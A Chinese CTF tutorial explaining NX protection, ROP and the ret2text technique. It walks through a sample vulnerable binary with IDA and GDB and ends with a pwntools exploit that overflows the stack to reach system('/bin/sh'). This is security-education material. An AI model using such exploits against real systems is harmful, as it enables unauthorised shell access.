stackoverflow之ret2text

Preface

随着NX保护机制的开启,直接往栈或堆上注入代码的方式不再能达成效果。

这时候ROP技术的提出达成了绕过NX的目的。

1、NX

NX(No-eXecute),不可执行,DEP(Data Execution Prevention),数据执行保护。Linux下为NX,Windows为DEP。

其能够在内存上执行额外检查以防止在系统上运行恶意代码。

通过将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时, 程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是执行shellcode。

NX保护机制的开关:

1
2
3
gcc nx.c -o nx  #默认情况下,开启NX保护机制 
gcc -z execstack nx.c -o nx #关闭NX保护机制
gcc -z noexecstack nx.c -o nx #开启NX保护机制

2、ROP

ROP(Return Oriented Programming),在缓冲区溢出的基础上,利用程序中已有的gadgets来改变某些寄存器或变量值,从而控制程序的执行流程。

ROP攻击的条件:

  • 存在溢出且可控制返回地址。
  • 存在满足条件的gadgets和gadgets的地址。

3、gadgets

以ret结尾的指令序列。通过这些指令序列,可以改变某些地址的内容,方便控制程序的执行流程。

ROP就是利用指令集中的ret指令,改变指令流的执行顺序。

Ret2text

ret2text,基本ROP之一,控制程序执行本身已有的代码(.text)。

Example

以 github-ctf-wiki中的ret2text样例程序举例:

image-20191202210756468

32位的binary,开启了NX。

1、IDA:

image-20191202224830961

可以看到,危险函数gets,在没有控制好写入空间大小的情况下,可向内存写入一段0x64大小的数据。

image-20191202225304556

同时binary中还有一个后面secure函数,其内调用了systen("/bin/sh")

2、GDB:

根据前面IDA的分析,可以看到该binary中存在栈溢出,那么溢出空间的偏移量是0x64吗?

这里我用gdb调试说明:

可以看到s的位置在[esp+0x1c],把断点设置为call gets函数处0x80486ae

image-20191203000629226

可以看到ebp=0xffffd048;esp=0xffffcfc0,s的地址=esp+0x1c=0xffffcfc0+0x1c=0xffffcfdc。

image-20191203001233776

那么,相对于ebp的偏移量为offset=ebp-s_addr=0xffffd048-0xffffcfdc=0x6c。相对于ret_addr的偏移量offset=0x6c+4

另一种解释:可以看到在IDA的伪代码中发现

image-20191203002814530

__cdecl 函数调用约定会把形参自右向左依次压入栈中。

一般情况是一个参数,所以相对于ret_addr的偏移量offset=0x64+4,现在有两个形参,所以offset=0x64+4+4+4

__cdecl介绍

3、pwn:

image-20191203004410662

劫持到system(“/bin/sh”)

image-20191203005546341

4、exploit:

1
2
3
4
5
6
7
from pwn import *
offset = 0x6c+4
p = process("./ret2text")
system_addr = 0x804863a
payload = '\x90'*offset+p32(system_addr)
p.sendline(payload)
p.interactive()

image-20191203010428148

Reference

github-ctf-wiki